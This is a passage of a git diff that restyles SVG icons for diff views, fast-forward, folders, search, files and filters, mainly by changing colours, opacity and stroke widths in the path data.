-<path d="M6.48233 12.2684L6.48233 3.73157C6.48233 3.26009 6.10012 2.87788 5.62864 2.87788H3.73156C3.26008 2.87788 2.87787 3.26009 2.87787 3.73157L2.87787 12.2684C2.87787 12.7399 3.26008 13.1221 3.73156 13.1221H5.62864C6.10012 13.1221 6.48233 12.7399 6.48233 12.2684Z" fill="#C6CAD0" fill-opacity="0.5" stroke="#C6CAD0" stroke-width="1.13825"/>
-<path d="M13.1221 12.2684V3.73157C13.1221 3.26009 12.7399 2.87788 12.2684 2.87788H10.3713C9.89987 2.87788 9.51766 3.26009 9.51766 3.73157V12.2684C9.51766 12.7399 9.89987 13.1221 10.3713 13.1221H12.2684C12.7399 13.1221 13.1221 12.7399 13.1221 12.2684Z" fill="#C6CAD0" stroke="#C6CAD0" stroke-width="1.13825"/>
+<path opacity="0.5" d="M6.48233 12.2684V3.73157C6.48233 3.26009 6.10012 2.87788 5.62864 2.87788H3.73156C3.26008 2.87788 2.87787 3.26009 2.87787 3.73157V12.2684C2.87787 12.7399 3.26008 13.1221 3.73156 13.1221H5.62864C6.10012 13.1221 6.48233 12.7399 6.48233 12.2684Z" fill="#DCE0E5"/>
+<path d="M6.48233 12.2684V3.73157C6.48233 3.26009 6.10012 2.87788 5.62864 2.87788H3.73156C3.26008 2.87788 2.87787 3.26009 2.87787 3.73157V12.2684C2.87787 12.7399 3.26008 13.1221 3.73156 13.1221H5.62864C6.10012 13.1221 6.48233 12.7399 6.48233 12.2684Z" stroke="#DCE0E5" stroke-width="1.2"/>
+<path d="M13.1221 12.2684V3.73157C13.1221 3.26009 12.7399 2.87788 12.2684 2.87788H10.3713C9.89988 2.87788 9.51767 3.26009 9.51767 3.73157V12.2684C9.51767 12.7399 9.89988 13.1221 10.3713 13.1221H12.2684C12.7399 13.1221 13.1221 12.7399 13.1221 12.2684Z" fill="#DCE0E5" stroke="#DCE0E5" stroke-width="1.2"/>
 </svg>
diff --git a/assets/icons/diff_split_auto.svg b/assets/icons/diff_split_auto.svg
index f5828a6915d9ca..e5744dc56114a2 100644
--- a/assets/icons/diff_split_auto.svg
+++ b/assets/icons/diff_split_auto.svg
@@ -1,7 +1,7 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path opacity="0.5" d="M13.5896 12.1922V3.80783C13.5896 3.03608 12.9639 2.41045 12.1922 2.41045H10.329C9.55722 2.41045 8.93159 3.03608 8.93159 3.80783V12.1922C8.93159 12.9639 9.55722 13.5896 10.329 13.5896H12.1922C12.9639 13.5896 13.5896 12.9639 13.5896 12.1922Z" fill="#C6CAD0" fill-opacity="0.2"/>
-<path opacity="0.5" d="M7.06841 12.1922L7.06841 3.80783C7.06841 3.03608 6.44277 2.41045 5.67102 2.41045H3.80783C3.03608 2.41045 2.41044 3.03608 2.41044 3.80783L2.41044 12.1922C2.41044 12.9639 3.03608 13.5896 3.80783 13.5896H5.67102C6.44277 13.5896 7.06841 12.9639 7.06841 12.1922Z" fill="#C6CAD0" fill-opacity="0.2"/>
-<path d="M10.0497 12.1922C10.0497 12.3465 10.1746 12.4715 10.329 12.4715H12.0175L13.1192 13.1074C13.1474 13.1237 13.1769 13.137 13.2056 13.1511C12.9509 13.4202 12.5919 13.5896 12.1922 13.5896H10.329L10.1862 13.5823C9.48149 13.5107 8.93159 12.9157 8.93159 12.1922V10.6892L10.0497 11.3343V12.1922ZM10.0497 7.03111L8.93159 6.38609V3.80783C8.93159 3.0843 9.48149 2.48927 10.1862 2.41772L10.329 2.41045H12.1922C12.9639 2.41045 13.5896 3.03608 13.5896 3.80783V9.07534L12.4715 8.42941V3.80783C12.4715 3.65348 12.3465 3.52854 12.1922 3.52854H10.329C10.1746 3.52854 10.0497 3.65348 10.0497 3.80783V7.03111Z" fill="#C6CAD0"/>
-<path d="M7.06841 9.61391V12.1922C7.06841 12.9639 6.44278 13.5896 5.67102 13.5896H3.80783L3.665 13.5823C2.96035 13.5107 2.41045 12.9157 2.41045 12.1922V6.92376L3.52854 7.56969V12.1922C3.52854 12.3465 3.65348 12.4715 3.80783 12.4715H5.67102C5.82537 12.4715 5.95031 12.3465 5.95031 12.1922V8.96798L7.06841 9.61391ZM5.67102 2.41045C6.44278 2.41045 7.06841 3.03608 7.06841 3.80783V5.30984L5.95031 4.66482V3.80783C5.95031 3.65348 5.82537 3.52854 5.67102 3.52854H3.98251L2.88079 2.89262C2.85201 2.87601 2.82196 2.86239 2.79255 2.84804C3.01657 2.61118 3.32241 2.45251 3.665 2.41772L3.80783 2.41045H5.67102Z" fill="#C6CAD0"/>
-<path d="M1.64437 3.79271L1.17858 4.59949C1.04995 4.82228 1.12628 5.10716 1.34907 5.23578L13.7194 12.3778C13.9422 12.5064 14.227 12.4301 14.3557 12.2073L14.8215 11.4005C14.9501 11.1777 14.8738 10.8928 14.651 10.7642L2.28066 3.62222C2.05788 3.49359 1.773 3.56992 1.64437 3.79271Z" fill="#C6CAD0"/>
+<path opacity="0.2" d="M13.5896 12.1922V3.80783C13.5896 3.03608 12.9639 2.41045 12.1922 2.41045H10.329C9.55721 2.41045 8.93158 3.03608 8.93158 3.80783V12.1922C8.93158 12.9639 9.55721 13.5896 10.329 13.5896H12.1922C12.9639 13.5896 13.5896 12.9639 13.5896 12.1922Z" fill="#DCE0E5"/>
+<path opacity="0.2" d="M7.0684 12.1922V3.80783C7.0684 3.03608 6.44276 2.41045 5.67101 2.41045H3.80782C3.03607 2.41045 2.41043 3.03608 2.41043 3.80783V12.1922C2.41043 12.9639 3.03607 13.5896 3.80782 13.5896H5.67101C6.44276 13.5896 7.0684 12.9639 7.0684 12.1922Z" fill="#DCE0E5"/>
+<path d="M10.0497 12.1922C10.0497 12.3465 10.1746 12.4715 10.329 12.4715H12.0175L13.1192 13.1074C13.1474 13.1237 13.1769 13.137 13.2056 13.1511C12.9509 13.4202 12.5919 13.5896 12.1922 13.5896H10.329L10.1862 13.5823C9.48148 13.5107 8.93158 12.9157 8.93158 12.1922V10.6892L10.0497 11.3343V12.1922ZM10.0497 7.03111L8.93158 6.38609V3.80783C8.93158 3.0843 9.48148 2.48927 10.1862 2.41772L10.329 2.41045H12.1922C12.9639 2.41045 13.5896 3.03608 13.5896 3.80783V9.07534L12.4715 8.42941V3.80783C12.4715 3.65348 12.3465 3.52854 12.1922 3.52854H10.329C10.1746 3.52854 10.0497 3.65348 10.0497 3.80783V7.03111Z" fill="#DCE0E5"/>
+<path d="M7.06842 9.61391V12.1922C7.06842 12.9639 6.44279 13.5896 5.67103 13.5896H3.80784L3.66501 13.5823C2.96036 13.5107 2.41046 12.9157 2.41046 12.1922V6.92376L3.52855 7.56969V12.1922C3.52855 12.3465 3.65349 12.4715 3.80784 12.4715H5.67103C5.82538 12.4715 5.95032 12.3465 5.95032 12.1922V8.96798L7.06842 9.61391ZM5.67103 2.41045C6.44279 2.41045 7.06842 3.03608 7.06842 3.80783V5.30984L5.95032 4.66482V3.80783C5.95032 3.65348 5.82538 3.52854 5.67103 3.52854H3.98252L2.8808 2.89262C2.85202 2.87601 2.82197 2.86239 2.79256 2.84804C3.01658 2.61118 3.32242 2.45251 3.66501 2.41772L3.80784 2.41045H5.67103Z" fill="#DCE0E5"/>
+<path d="M1.64436 3.79271L1.17857 4.59949C1.04994 4.82228 1.12627 5.10716 1.34906 5.23578L13.7194 12.3778C13.9422 12.5064 14.227 12.4301 14.3557 12.2073L14.8215 11.4005C14.9501 11.1777 14.8738 10.8928 14.651 10.7642L2.28065 3.62222C2.05787 3.49359 1.77299 3.56992 1.64436 3.79271Z" fill="#DCE0E5"/>
 </svg>
diff --git a/assets/icons/diff_unified.svg b/assets/icons/diff_unified.svg
index f09628fda43b1f..61cc4bc0811299 100644
--- a/assets/icons/diff_unified.svg
+++ b/assets/icons/diff_unified.svg
@@ -1,4 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M12.1035 9.43259H3.89653C3.44327 9.43259 3.07584 9.80002 3.07584 10.2533V12.077C3.07584 12.5303 3.44327 12.8977 3.89653 12.8977H12.1035C12.5567 12.8977 12.9242 12.5303 12.9242 12.077V10.2533C12.9242 9.80002 12.5567 9.43259 12.1035 9.43259Z" fill="#C6CAD0" fill-opacity="0.5" stroke="#C6CAD0" stroke-width="1.09426"/>
-<path d="M12.1035 2.50227H3.89653C3.1411 2.50227 2.5287 3.11467 2.5287 3.8701V5.69386C2.5287 6.44929 3.1411 7.06169 3.89653 7.06169H12.1035C12.8589 7.06169 13.4713 6.44929 13.4713 5.69386V3.8701C13.4713 3.11467 12.8589 2.50227 12.1035 2.50227Z" fill="#C6CAD0"/>
+<path opacity="0.5" d="M12.1035 9.43259H3.89653C3.44327 9.43259 3.07584 9.80002 3.07584 10.2533V12.077C3.07584 12.5303 3.44327 12.8977 3.89653 12.8977H12.1035C12.5567 12.8977 12.9242 12.5303 12.9242 12.077V10.2533C12.9242 9.80002 12.5567 9.43259 12.1035 9.43259Z" fill="#DCE0E5"/>
+<path d="M12.1035 9.43259H3.89653C3.44327 9.43259 3.07584 9.80002 3.07584 10.2533V12.077C3.07584 12.5303 3.44327 12.8977 3.89653 12.8977H12.1035C12.5567 12.8977 12.9242 12.5303 12.9242 12.077V10.2533C12.9242 9.80002 12.5567 9.43259 12.1035 9.43259Z" stroke="#DCE0E5" stroke-width="1.1"/>
+<path d="M12.1035 2.50227H3.89653C3.1411 2.50227 2.5287 3.11467 2.5287 3.8701V5.69386C2.5287 6.44929 3.1411 7.06169 3.89653 7.06169H12.1035C12.8589 7.06169 13.4713 6.44929 13.4713 5.69386V3.8701C13.4713 3.11467 12.8589 2.50227 12.1035 2.50227Z" fill="#DCE0E5"/>
 </svg>
diff --git a/assets/icons/fast_forward.svg b/assets/icons/fast_forward.svg
index 240bc65aca3558..f5d6cbb5052e9b 100644
--- a/assets/icons/fast_forward.svg
+++ b/assets/icons/fast_forward.svg
@@ -1,4 +1,6 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M8 4.4366C8.00005 4.20171 8.06974 3.97211 8.20026 3.77683C8.33078 3.58154 8.51627 3.42934 8.73328 3.33946C8.95029 3.24958 9.18908 3.22605 9.41946 3.27186C9.64983 3.31767 9.86146 3.43076 10.0276 3.59683L13.591 7.16022C13.8136 7.38297 13.9387 7.68503 13.9387 8C13.9387 8.31496 13.8136 8.61702 13.591 8.83977L10.0276 12.4032C9.86146 12.5692 9.64983 12.6823 9.41946 12.7281C9.18908 12.7739 8.95029 12.7504 8.73328 12.6605C8.51627 12.5707 8.33078 12.4185 8.20026 12.2232C8.06974 12.0279 8.00005 11.7983 8 11.5634V4.4366Z" fill="#C6CAD0" fill-opacity="0.15" stroke="#C6CAD0" stroke-width="1.06902" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M2.061 4.4366C2.06105 4.20171 2.13075 3.97211 2.26127 3.77683C2.39179 3.58154 2.57728 3.42934 2.79429 3.33946C3.0113 3.24958 3.25008 3.22605 3.48046 3.27186C3.71084 3.31767 3.92246 3.43076 4.08858 3.59683L7.65197 7.16022C7.87465 7.38297 7.99974 7.68503 7.99974 8C7.99974 8.31496 7.87465 8.61702 7.65197 8.83977L4.08858 12.4032C3.92246 12.5692 3.71084 12.6823 3.48046 12.7281C3.25008 12.7739 3.0113 12.7504 2.79429 12.6605C2.57728 12.5707 2.39179 12.4185 2.26127 12.2232C2.13075 12.0279 2.06105 11.7983 2.061 11.5634V4.4366Z" fill="#C6CAD0" fill-opacity="0.15" stroke="#C6CAD0" stroke-width="1.06902" stroke-linecap="round" stroke-linejoin="round"/>
+<path opacity="0.15" d="M8 4.4366C8.00005 4.20171 8.06974 3.97211 8.20026 3.77683C8.33078 3.58154 8.51627 3.42934 8.73328 3.33946C8.95029 3.24958 9.18908 3.22605 9.41946 3.27186C9.64983 3.31767 9.86146 3.43076 10.0276 3.59683L13.591 7.16022C13.8136 7.38297 13.9387 7.68503 13.9387 8C13.9387 8.31496 13.8136 8.61702 13.591 8.83977L10.0276 12.4032C9.86146 12.5692 9.64983 12.6823 9.41946 12.7281C9.18908 12.7739 8.95029 12.7504 8.73328 12.6605C8.51627 12.5707 8.33078 12.4185 8.20026 12.2232C8.06974 12.0279 8.00005 11.7983 8 11.5634V4.4366Z" fill="#DCE0E5"/>
+<path opacity="0.15" d="M2.061 4.4366C2.06105 4.20171 2.13075 3.97211 2.26127 3.77683C2.39179 3.58154 2.57728 3.42934 2.79429 3.33946C3.0113 3.24958 3.25008 3.22605 3.48046 3.27186C3.71084 3.31767 3.92246 3.43076 4.08858 3.59683L7.65197 7.16022C7.87465 7.38297 7.99974 7.68503 7.99974 8C7.99974 8.31496 7.87465 8.61702 7.65197 8.83977L4.08858 12.4032C3.92246 12.5692 3.71084 12.6823 3.48046 12.7281C3.25008 12.7739 3.0113 12.7504 2.79429 12.6605C2.57728 12.5707 2.39179 12.4185 2.26127 12.2232C2.13075 12.0279 2.06105 11.7983 2.061 11.5634V4.4366Z" fill="#DCE0E5"/>
+<path d="M8 4.4366C8.00005 4.20171 8.06974 3.97211 8.20026 3.77683C8.33078 3.58154 8.51627 3.42934 8.73328 3.33946C8.95029 3.24958 9.18908 3.22605 9.41946 3.27186C9.64983 3.31767 9.86146 3.43076 10.0276 3.59683L13.591 7.16022C13.8136 7.38297 13.9387 7.68503 13.9387 8C13.9387 8.31496 13.8136 8.61702 13.591 8.83977L10.0276 12.4032C9.86146 12.5692 9.64983 12.6823 9.41946 12.7281C9.18908 12.7739 8.95029 12.7504 8.73328 12.6605C8.51627 12.5707 8.33078 12.4185 8.20026 12.2232C8.06974 12.0279 8.00005 11.7983 8 11.5634V4.4366Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M2.061 4.4366C2.06105 4.20171 2.13075 3.97211 2.26127 3.77683C2.39179 3.58154 2.57728 3.42934 2.79429 3.33946C3.0113 3.24958 3.25008 3.22605 3.48046 3.27186C3.71084 3.31767 3.92246 3.43076 4.08858 3.59683L7.65197 7.16022C7.87465 7.38297 7.99974 7.68503 7.99974 8C7.99974 8.31496 7.87465 8.61702 7.65197 8.83977L4.08858 12.4032C3.92246 12.5692 3.71084 12.6823 3.48046 12.7281C3.25008 12.7739 3.0113 12.7504 2.79429 12.6605C2.57728 12.5707 2.39179 12.4185 2.26127 12.2232C2.13075 12.0279 2.06105 11.7983 2.061 11.5634V4.4366Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/fast_forward_off.svg b/assets/icons/fast_forward_off.svg
index 8ea7c41c6582b0..218820dd47019b 100644
--- a/assets/icons/fast_forward_off.svg
+++ b/assets/icons/fast_forward_off.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M8 10.3715V11.5634C8.00005 11.7983 8.06974 12.0279 8.20026 12.2232C8.33078 12.4185 8.51627 12.5707 8.73328 12.6605C8.95029 12.7504 9.18908 12.7739 9.41946 12.7281C9.64983 12.6823 9.86146 12.5692 10.0276 12.4032L10.2748 12.1559M8 5.38478V4.4366C8.00005 4.20171 8.06974 3.97211 8.20026 3.77683C8.33078 3.58154 8.51627 3.42934 8.73328 3.33946C8.95029 3.24958 9.18908 3.22605 9.41946 3.27186C9.64983 3.31767 9.86146 3.43076 10.0276 3.59683L13.591 7.16022C13.8136 7.38297 13.9387 7.68503 13.9387 8C13.9387 8.31496 13.8136 8.61702 13.591 8.83977L12.7618 9.66893" stroke="#C6CAD0" stroke-width="1.06902" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M2.061 6.99803V11.5634C2.06105 11.7983 2.13075 12.0279 2.26127 12.2232C2.39179 12.4185 2.57728 12.5707 2.79429 12.6605C3.0113 12.7504 3.25008 12.7739 3.48046 12.7281C3.71084 12.6823 3.92246 12.5692 4.08858 12.4032L6.46394 10.0278" stroke="#C6CAD0" stroke-width="1.06902" stroke-linecap="round" stroke-linejoin="round"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M14.1225 13.809C14.0341 13.9146 13.877 13.9289 13.7711 13.8409L1.19311 3.4002C1.08659 3.31177 1.07221 3.15361 1.16104 3.04742L1.87752 2.191C1.96588 2.08539 2.123 2.07111 2.22895 2.15905L14.8069 12.5998C14.9134 12.6882 14.9278 12.8464 14.839 12.9526L14.1225 13.809Z" fill="#C6CAD0"/>
+<path d="M8 10.3715V11.5634C8.00005 11.7983 8.06974 12.0279 8.20026 12.2232C8.33078 12.4185 8.51627 12.5707 8.73328 12.6605C8.95029 12.7504 9.18908 12.7739 9.41946 12.7281C9.64983 12.6823 9.86146 12.5692 10.0276 12.4032L10.2748 12.1559M8 5.38478V4.4366C8.00005 4.20171 8.06974 3.97211 8.20026 3.77683C8.33078 3.58154 8.51627 3.42934 8.73328 3.33946C8.95029 3.24958 9.18908 3.22605 9.41946 3.27186C9.64983 3.31767 9.86146 3.43076 10.0276 3.59683L13.591 7.16022C13.8136 7.38297 13.9387 7.68503 13.9387 8C13.9387 8.31496 13.8136 8.61702 13.591 8.83977L12.7618 9.66893" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M2.061 6.99803V11.5634C2.06105 11.7983 2.13075 12.0279 2.26127 12.2232C2.39179 12.4185 2.57728 12.5707 2.79429 12.6605C3.0113 12.7504 3.25008 12.7739 3.48046 12.7281C3.71084 12.6823 3.92246 12.5692 4.08858 12.4032L6.46394 10.0278" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M1.5015 2.54385L14.4985 13.4561" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/file_icons/folder_open.svg b/assets/icons/file_icons/folder_open.svg
index f4ec13621e305e..68e388212350b0 100644
--- a/assets/icons/file_icons/folder_open.svg
+++ b/assets/icons/file_icons/folder_open.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path opacity="0.7" d="M4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9628 8.6885 13.7533 12.75 12.5721 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487Z" fill="#DCE0E5"/>
-<path d="M4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9628 8.6885 13.7533 12.75 12.5721 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
-<path d="M5.19598 12.752H3.66515C3.42618 12.752 3.22289 12.4453 3.18626 12.2017L1.94333 3.936C1.89776 3.63293 2.12496 3.35938 2.42223 3.35938H5.78585C6.11241 3.35938 6.41702 3.52901 6.59618 3.81069C6.81354 4.15241 7.19044 4.35937 7.59543 4.35937H9.92811C10.4007 4.35937 10.8044 4.711 10.8836 5.19168L11.1251 6.65622" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path opacity="0.8" d="M5.46293 7.92298C5.46938 7.6844 5.66427 7.49307 5.90369 7.49307H13.7073C13.9467 7.49307 14.1401 7.6844 14.1335 7.92298C14.1 9.16418 13.9102 12.4787 12.8403 12.4787H4.50925C5.57932 12.4787 5.4293 9.16418 5.46293 7.92298Z" fill="#DCE0E5"/>
+<path d="M5.46293 7.92298C5.46938 7.6844 5.66427 7.49307 5.90369 7.49307H13.7073C13.9467 7.49307 14.1401 7.6844 14.1335 7.92298C14.1 9.16418 13.9102 12.4787 12.8403 12.4787H4.50925C5.57932 12.4787 5.4293 9.16418 5.46293 7.92298Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M6.0299 12.481H4.0299C2.92533 12.481 2.0299 11.5856 2.0299 10.481L2 5C2 3.89543 2.89543 3 4 3H5.12223C5.65267 3 6.16137 3.21071 6.53645 3.58579L7.36487 4.41421C7.73995 4.78929 8.24865 5 8.77909 5H10.9507C12.0553 5 12.9507 5.89543 12.9507 7V7.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
 </svg>
diff --git a/assets/icons/file_icons/magnifying_glass.svg b/assets/icons/file_icons/magnifying_glass.svg
index d0440d905c35bc..10f84017cd9823 100644
--- a/assets/icons/file_icons/magnifying_glass.svg
+++ b/assets/icons/file_icons/magnifying_glass.svg
@@ -1,3 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M13 13L10.4138 10.4138M3 7.31034C3 4.92981 4.92981 3 7.31034 3C9.6909 3 11.6207 4.92981 11.6207 7.31034C11.6207 9.6909 9.6909 11.6207 7.31034 11.6207C4.92981 11.6207 3 9.6909 3 7.31034Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path opacity="0.1" d="M3 7.31034C3 4.92981 4.92981 3 7.31034 3C9.6909 3 11.6207 4.92981 11.6207 7.31034C11.6207 9.6909 9.6909 11.6207 7.31034 11.6207C4.92981 11.6207 3 9.6909 3 7.31034Z" fill="#DCE0E5"/>
+<path d="M13 13L10.4138 10.4138M3 7.31034C3 4.92981 4.92981 3 7.31034 3C9.6909 3 11.6207 4.92981 11.6207 7.31034C11.6207 9.6909 9.6909 11.6207 7.31034 11.6207C4.92981 11.6207 3 9.6909 3 7.31034Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/file_text_filled.svg b/assets/icons/file_text_filled.svg
index 8aff5512de8d1b..91a4202ffa99fa 100644
--- a/assets/icons/file_text_filled.svg
+++ b/assets/icons/file_text_filled.svg
@@ -1,3 +1,3 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M9.875 1.25C10.0686 1.25 10.2549 1.3249 10.3945 1.45898L13.5195 4.45898C13.6668 4.60041 13.75 4.79582 13.75 5V12.7998C13.75 13.327 13.5316 13.8263 13.1533 14.1895C12.7762 14.5515 12.2709 14.75 11.75 14.75H4.25C3.72915 14.75 3.22383 14.5515 2.84668 14.1895C2.46849 13.8264 2.25 13.3271 2.25 12.7998V3.2002C2.25 2.67294 2.46848 2.17365 2.84668 1.81055C3.22388 1.44843 3.72922 1.25 4.25 1.25H9.875ZM5.73242 9.9707C5.31832 9.97084 4.98242 10.3066 4.98242 10.7207C4.98242 11.1348 5.31832 11.4706 5.73242 11.4707H10.2666C10.6808 11.4707 11.0166 11.1349 11.0166 10.7207C11.0166 10.3065 10.6808 9.9707 10.2666 9.9707H5.73242ZM5.73242 7.75C5.31832 7.75013 4.98242 8.08587 4.98242 8.5C4.98242 8.91413 5.31832 9.24987 5.73242 9.25H8.45312C8.86734 9.25 9.20312 8.91421 9.20312 8.5C9.20312 8.08579 8.86734 7.75 8.45312 7.75H5.73242Z" fill="#DCE0E5"/>
+<path d="M8.60449 1.7002C9.37841 1.70022 10.1181 2.02036 10.6475 2.58496L12.043 4.07324C12.5294 4.59213 12.7997 5.27703 12.7998 5.98828V12.7998C12.7998 13.1915 12.6544 13.571 12.3896 13.8535C12.1241 14.1367 11.7594 14.2998 11.375 14.2998H4.625C4.24059 14.2998 3.87588 14.1367 3.61035 13.8535C3.34559 13.571 3.2002 13.1915 3.2002 12.7998V3.2002C3.2002 2.80851 3.34559 2.42903 3.61035 2.14648C3.87588 1.86326 4.24059 1.7002 4.625 1.7002H8.60449ZM5.73242 9.9209C5.29071 9.92103 4.93262 10.279 4.93262 10.7207C4.93262 11.1624 5.29071 11.5204 5.73242 11.5205H10.2666C10.7084 11.5205 11.0674 11.1625 11.0674 10.7207C11.0674 10.2789 10.7084 9.9209 10.2666 9.9209H5.73242ZM5.73242 7.7002C5.29071 7.70033 4.93262 8.05825 4.93262 8.5C4.93262 8.94175 5.29071 9.29967 5.73242 9.2998H8.45312C8.89495 9.2998 9.25293 8.94183 9.25293 8.5C9.25293 8.05817 8.89495 7.7002 8.45312 7.7002H5.73242Z" fill="#DCE0E5"/>
 </svg>
diff --git a/assets/icons/filter.svg b/assets/icons/filter.svg
index 20a6a367dc4963..1ec7cbdb066d33 100644
--- a/assets/icons/filter.svg
+++ b/assets/icons/filter.svg
@@ -1,8 +1,10 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M2 5H4" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-<path d="M8 5L14 5" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-<path d="M12 11L14 11" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-<path d="M2 11H8" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-<circle cx="6" cy="5" r="2" fill="black" fill-opacity="0.1" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-<circle cx="10" cy="11" r="2" fill="black" fill-opacity="0.1" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M2 5H4" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M8 5H14" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M12 11H14" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M2 11H8" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path opacity="0.1" d="M6 7C7.10457 7 8 6.10457 8 5C8 3.89543 7.10457 3 6 3C4.89543 3 4 3.89543 4 5C4 6.10457 4.89543 7 6 7Z" fill="#DCE0E5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path opacity="0.1" d="M10 13C11.1046 13 12 12.1046 12 11C12 9.89543 11.1046 9 10 9C8.89543 9 8 9.89543 8 11C8 12.1046 8.89543 13 10 13Z" fill="#DCE0E5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M6 7C7.10457 7 8 6.10457 8 5C8 3.89543 7.10457 3 6 3C4.89543 3 4 3.89543 4 5C4 6.10457 4.89543 7 6 7Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M10 13C11.1046 13 12 12.1046 12 11C12 9.89543 11.1046 9 10 9C8.89543 9 8 9.89543 8 11C8 12.1046 8.89543 13 10 13Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
 </svg>
diff --git a/assets/icons/folder_include.svg b/assets/icons/folder_include.svg
index 83b5e6d1185534..69d67aa2cc1285 100644
--- a/assets/icons/folder_include.svg
+++ b/assets/icons/folder_include.svg
@@ -1,6 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M7.01562 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9887 7.67883 13.9623 8.34295 13.8991 9.06287" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M5.25848 12.7539H3.72765C3.48868 12.7539 3.22289 12.4453 3.18626 12.2017L2.5648 8.06885L1.94333 3.936C1.89776 3.63293 2.12496 3.35938 2.42223 3.35938H5.78585C6.11241 3.35938 6.41702 3.52901 6.59618 3.81069C6.81354 4.15241 7.19044 4.35937 7.59543 4.35937H9.92811C10.4007 4.35937 10.8044 4.711 10.8836 5.19168L11.1251 6.65622" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M11.6 9.88724V14.1318" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.47626 12.5234L11.6 14.6471L13.7237 12.5234" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6 13H4C2.89543 13 2 12.1046 2 11V5C2 3.89543 2.89543 3 4 3H6.17157C6.70201 3 7.21071 3.21071 7.58579 3.58579L8.41421 4.41421C8.78929 4.78929 9.29799 5 9.82843 5H12C13.1046 5 14 5.89543 14 7V7.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M11.2045 9.12397V13.8967" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M13.5926 12.0882L11.2046 14.4761L8.81659 12.0882" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/folder_open.svg b/assets/icons/folder_open.svg
index f4ec13621e305e..68e388212350b0 100644
--- a/assets/icons/folder_open.svg
+++ b/assets/icons/folder_open.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path opacity="0.7" d="M4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9628 8.6885 13.7533 12.75 12.5721 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487Z" fill="#DCE0E5"/>
